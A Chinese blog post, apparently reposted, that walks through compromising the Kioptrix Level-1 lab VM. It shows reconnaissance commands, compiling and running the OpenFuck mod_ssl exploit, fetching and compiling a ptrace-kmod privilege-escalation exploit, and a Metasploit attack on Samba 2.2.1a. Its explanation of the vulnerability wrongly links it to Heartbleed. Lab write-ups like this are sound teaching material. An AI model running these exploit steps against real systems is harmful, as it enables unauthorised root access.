当前位置: 首页 > news >正文

靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞

声明
学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负

一、准备工作

首先使用 vmware 导入靶机文件,

然后网络模式改成 nat 模式即可

我们打开靶机后发现需要我们拿到 root 权限,那我们尝试外部渗透

二、开始工作

1、信息收集

1、首先探测出目标 ip,我们再对目标 ip 地址进行端口存活的扫描,以及使用的服务版本信息等

1、ifconfg(查看自己网段)
2、nmap -sS -sV 192.168.122.188
3、nmap -sn 192.168.122.x/2(探测全网段ip)
4、arp-scan -l(探测存活主机)
5、指纹探测,nmap -p- -sV -A 192.168.122.188(-sV: 服务版本扫描 -A:全面扫描 -p-:全端口扫描,信息全面,比较好确认使用的服务相关信息)

以下便是我们采用不同方式探测到的主机 ip

指纹探测,推荐使用第 namp -sS -sV ip 探测出来的很清晰,信息很集中

我们得到的信息:

  • 22 端口开放,ssh 服务(可尝试弱口令)

  • 80 端口开放,Apache httpd 1.3.20 ((Unix),mod_ssl/2.8.4 OpenSSL/0.9.6b),Apache 版本过低可能存在 mod_ssl 漏洞。

  • 443 端口开放,(80,443 在浏览器上尝试一下)

  • 139 端口开放,Samba 服务,可能存在漏洞利用

2、信息利用
一、找相关exp文件

1、我们尝试利用访问浏览器的 80、443 端口,查询是否有可利用信息

80 端口的页面只有使用的 Apache 服务,和 RedHat,并没给出特别有用信息

2、端口 139 利用(SMB)

nmap -T4 -A -p 139 192.168.122.188
smbclient -L //SERVER -I 192.168.139.5 -N
匿名登录smb
enum4linux -a IP
enum4linux 介绍:enum4linux -a 是一个用于枚举 Windows 和 Samba 系统信息的工具,它提供了多种功能,包括获取用户列表、机器列表、共享列表、密码策略信息、组和成员列表等。以下是关于 enum4linux -a 的详细解释和使用方法。
enum4linux -a 命令会执行一系列的枚举操作,以获取目标系统上的各种信息。具体来说,它会执行以下操作:
获取用户列表(-U)
获取机器列表(-M)
获取共享列表(-S)
获取密码策略信息(-P)
获取组和成员列表(-G)
通过 RID 循环枚举用户(-r)
获取操作系统信息(-o)
获取打印机信息(-i)
做一个 nmblookup(类似于 nbtstat)(-n)
详细输出,显示正在运行的完整命令(-v)

3、使用 dirb,和 dirsearch 扫描目录

dirb http://192.168.122.188
dirsearch http://192.168.122.188 -e * -i 200
区别:dirb是kali自带的扫描工具,而dirsearch需要自己下载

这是我们的探测结果,我们去尝试打开他们

我们尝试 url,发现了这样一个 mod_ssl 漏洞信息,也是靶场给我们的提示,我们借着这个信息顺藤摸瓜。

漏洞介绍: Apache 的 mod_ssl 缓冲区溢出漏洞主要因模块未严格验证 SSL/TLS 协议处理中的输入数据边界,导致攻击者可通过构造恶意请求覆盖相邻内存区域。例如,早期 OpenSSL 版本(如 CVE-2014-0160 心脏出血漏洞)因未检查心跳包长度,引发信息泄露,而类似逻辑缺陷可能扩展为代码执行风险 4。此类漏洞通常通过发送超长或畸形 SSL 数据触发,可能造成服务崩溃或远程控制服务器。

3、寻找相关 exp 既然我们也清晰了相关漏洞,那我们就要找到相关的 exp,对症下药。

1、searchsploit apache 1.3.20
2、searchsploit mod_ssl
3、选择在网站上查询,https://www.exploit-db.com/search
我们自己决定使用哪条命令,因为在之前我们收集到了mod_ssl的信息,我们选择第二条命令,选择哪种方式都ok

我们看到第二张图片, 如何判断我们要使用哪个 exp 也是一个问题,我们要根据之前的收集信息,RedHat、apache 版本等来确定使用哪个 exp。

我们将三个 exp 文件下载下来尝试去编译,我们下载后先查看运行的相关信息

记得换源,这个就自行更改就行

4、使用 exp

gcc -o OpenFuck 47080.c -lcrypto
使用gcc编译我们的47080.c,每个文件都尝试一下
./OpenFuck | grep 1.3.20
检索查询编译后二进制文件

以下是两种检索方式

这么多文件我们要选择哪一个呢,记住我们之前收集到的信息,RedHat、Apache1.3.20

ok,ox6a 的文件的用户权限是 apache,也就是普通用户,这时候我们进行提权 a、下载提权脚本

https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

b、本机终端开启 80 端口监听服务

python -m http.server 80

c、另外开一个终端连接靶机然后在本机 80 端口下载提权文件

wget http://192.168.122.187:80/ptrace-kmod.c
注意,ip是本机ip,弄错了就去找块豆腐撞死好吧

d、我在再次编译 OpenFcuk 文件,这次登录后实质上已经编译了 ptrace-kmod.c

./OpenFuck 0x6b 192.168.122.188 443 -c 40

这时候权限就已经变成了 root

这个时候就可以任意访问靶机文件了

二、使用msf,smaba漏洞

这里我也是看了其他大佬的文章,也可以使用msf方式进行提权,接下来我们尝试一下

先来个简单的介绍,这种通常要记住端口自己找一找关键信息

Samba远程代码执行漏洞利用 Samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;NFS 与 samba 一样,也是在网络中实现文件共享的一种实现,但不支持 windows 平台,samba 是能够在任何支持 SMB 协议的主机之间共享文件的一种实现,当然也包括 windows。SMB 是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。samba监听端口:TCP 139/445 | UDP 137/138

1、打开msf

msfconsole 
我们打开msf工具

2、确定版本 我们要确定我们的smaba版本

这里我们还是要设定参数的,首先我们选择了探测smaba版本的工具,输入options然后设置探测端口,再运行,我们得到了smaba版本号是2.2.1a

按照大佬所说的小技巧,一般是great和excelle成功率比较高,还是根据信息收集,选择linux x86

拿下!

总结:虽然拿下了,但是也是建立在别人知识的基础上,但是作为打靶路上的第一站,我觉得打靶真的可以学到很多东西,虽然只是一个简单靶场但还是比较有成就感。其次把打靶的流程也熟悉了一遍包括工具的使用,对于我这个喜欢啃书本的人来说,实战是非常有冲击感的,希望以此为始来见证我的渗透之路,走着。

后续我也会出更多打靶文章,希望大家关注!谢谢。

相关文章:

靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞

声明 学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一、准备工作 首先使用 vmware 导入靶机文件, 然后网络模式改成 nat 模式即可 我们打…...

【Viewer.js】vue3封装图片查看器

效果图 需求 点击图片放大可关闭放大的 图片 下载 cnpm in viewerjs状态管理方法 stores/imgSeeStore.js import { defineStore } from pinia export const imgSeeStore defineStore(imgSeeStore, {state: () > ({showImgSee: false,ImgUrl: ,}),getters: {},actions: {…...

stm32mp采用spi接口扩展can

在 STM32MP 系列微处理器中,通过 SPI 转 CAN 功能扩展 CAN 接口需要结合硬件设计(如使用 SPI 接口的 CAN 控制器芯片)和 Linux 驱动配置。以下是详细的实现步骤和关键点: 硬件选型与连接 常用 SPI 转 CAN 芯片MCP2515:经典 SPI 转 CAN 控制器,支持 CAN 2.0B。MCP2517FD:…...

forge-1.21.x模组开发(二)给物品添加功能

功能效果 创建一个兑换券,当使用兑换券对着兑换机右键时,获得一条烤鱼 创建兑换券 创建ExchangeCouponsItem.java,继承Item,定义兑换券内容 public class ExchangeCouponsItem extends Item {public ExchangeCouponsItem(Prop…...

创建第一个 Maven 项目(一)

一、引言 在 Java 开发的广袤天地中,Maven 宛如一位全能的管家,发挥着举足轻重的作用。它是一个基于项目对象模型(POM)的项目管理和构建自动化工具,极大地简化了 Java 项目的开发流程。 Maven 的核心优势之一在于其强…...

网络运维学习笔记 022 HCIA-Datacom新增知识点03园区网典型组网架构及案例实战

园区网典型组网架构及案例实战 园区网:内部运行了园区网协议的一个主体网络 园区网络典型架构 园区网络常用协议与技术: 接入层: VLAN、生成树、链路聚合、AAA、dhcp-snooping等 汇聚层:DHCP、堆叠、链路聚合、生成树、OSPF、静…...

python-leetcode-二叉树的直径

543. 二叉树的直径 - 力扣(LeetCode) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solutio…...

ubuntu中打包与压缩命令详解

Ubuntu 中打包与压缩命令详解 在 Ubuntu 系统中,打包和压缩文件是常见的操作。通过打包和压缩,可以将多个文件或目录合并为一个文件,并减小文件大小以节省存储空间或方便传输。本文将详细介绍 Ubuntu 中常用的打包与压缩命令及其用法。 目录…...

Linux MySQL 8.0.29 忽略表名大小写配置

Linux MySQL 8.0.29 忽略表名大小写配置 问题背景解决方案遇到的问题: 问题背景 突然发现有个大写的表报不存在。 在Windows上,MySQL是默认支持忽略大小写的。 这个时候你要查询一下是不是没有配置: SHOW VARIABLES LIKE lower_case_table…...

【c++】【线程池】线程池模式

【c】【线程池】线程池模式 1 L/F领导者与跟随者模式 概述:在此模式中,线程池中的线程分为:领导者(Leader),跟随者(Follower)和工作者(Processor) 领导者线…...

Next.js 学习-1

Next.js学习 引用:https://www.nextjs.cn/learn/basics/create-nextjs-app 先试试水吧,正好dify用的这个构建的前端项目。 使用 如果您尚未安装 Node.js,请 从此处安装。要求 Node.js 10.13 或更高版本。 好吧得用新的了,记得…...

bat命令在b站下载单个音视频

文章目录 单个音频第一行代码第二行代码下载后效果图 单个视频第一行代码第二行代码第三行代码第四行代码第五行代码下载后效果图 单个音视频第一行代码第二行代码第三行代码第四行代码第五行代码第六行代码下载后的效果图 单个音频 chcp 65001 you-get -o D:\Files\pydownloa…...

函数中的形参和实参(吐槽)

def greet_user(user_name):print(f"Hello,{user_name.title()}!")greet_user("zhangsan") 在以上函数中,user_name是形参, 在greet_user("zhangsan")中,值“zhangsan”是实参。这本身没什么大问题。 但是这…...

运维Ansible面试题及参考答案

目录 简述 Ansible 的工作原理,它是如何实现对远程主机管理的? Ansible 是基于什么语言开发的?这门语言的特性对 Ansible 的功能实现有哪些帮助? 解释 Agentless 在 Ansible 中的含义,与基于 Agent 的自动化工具相比,优势体现在哪? Ansible 中的 Inventory 文件是什…...

3、优先级翻转问题

FreeRTOS优先级翻转是当高优先级任务因等待低优先级任务占用的资源(如互斥锁)被阻塞,而中优先级任务趁机执行,导致高优先级任务无法及时运行的调度异常。 场景示例: 任务优先级:存在三个任务,优…...

python 进程池的基本使用

Python 进程池:Pool任务调度实现 在现代计算机系统重,处理器核心数量的增加为并行计算提供了强大的硬件基础。Python的 multiprocessing 模块中的进程池(Pool)机制,为开发者提供了 一个高效且易用的并行处理框架。 通…...

从零开始学 Rust:基本概念——变量、数据类型、函数、控制流

文章目录 Variables and MutabilityShadowing Data TypesScalar TypesCompound Types FunctionsFunction Parameters CommentsControl FlowRepetition with Loops Variables and Mutability fn main() {let mut x 5;println!("The value of x is: {}", x);x 6;pri…...

记录一次SpringMVC的406错误

原生态的406错误 1. 错误起因2. 解决办法解决方式一 检查是否有导入jackson依赖解决方式二 检查web.xml中是否有配置.html 3. 再次测试 1. 错误起因 最近博主准备重新撸一遍SSM以及SpringBoot的源码,于是用原始的SpringMVC写了一个demo,并且用Tomcat进行…...

Github 2025-02-23 php开源项目日报 Top9

根据Github Trendings的统计,今日(2025-02-23统计)共有9个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量PHP项目9JavaScript项目2Shell项目1TypeScript项目1Blade项目1Java项目1ASP项目1Vue项目1Laravel:表达力和优雅的 Web 应用程序框架 创建周期:…...

一、初始爬虫

1.爬虫的相关概念 1.1 什么是爬虫 网络爬虫(又被称为网页蜘蛛,网络机器人)就是模拟浏览器发送网络请求,接收请求响应,一种按照一定的规则,自动地爬取互联网信息的程序。 原则上,只要是浏览器…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...

3.3.1_1 检错编码(奇偶校验码)

从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...

Java多线程实现之Callable接口深度解析

Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...

LLM基础1_语言模型如何处理文本

基于GitHub项目:https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken:OpenAI开发的专业"分词器" torch:Facebook开发的强力计算引擎,相当于超级计算器 理解词嵌入:给词语画"…...

Go 语言并发编程基础:无缓冲与有缓冲通道

在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好&#xff0…...

[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】

大家好,我是java1234_小锋老师,看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】,分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…...

接口自动化测试:HttpRunner基础

相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南 使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具,支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议,涵盖接口测试、性能测试、数字体验监测等测试类型…...

深入理解Optional:处理空指针异常

1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...

HybridVLA——让单一LLM同时具备扩散和自回归动作预测能力:训练时既扩散也回归,但推理时则扩散

前言 如上一篇文章《dexcap升级版之DexWild》中的前言部分所说,在叠衣服的过程中,我会带着团队对比各种模型、方法、策略,毕竟针对各个场景始终寻找更优的解决方案,是我个人和我司「七月在线」的职责之一 且个人认为&#xff0c…...

comfyui 工作流中 图生视频 如何增加视频的长度到5秒

comfyUI 工作流怎么可以生成更长的视频。除了硬件显存要求之外还有别的方法吗? 在ComfyUI中实现图生视频并延长到5秒,需要结合多个扩展和技巧。以下是完整解决方案: 核心工作流配置(24fps下5秒120帧) #mermaid-svg-yP…...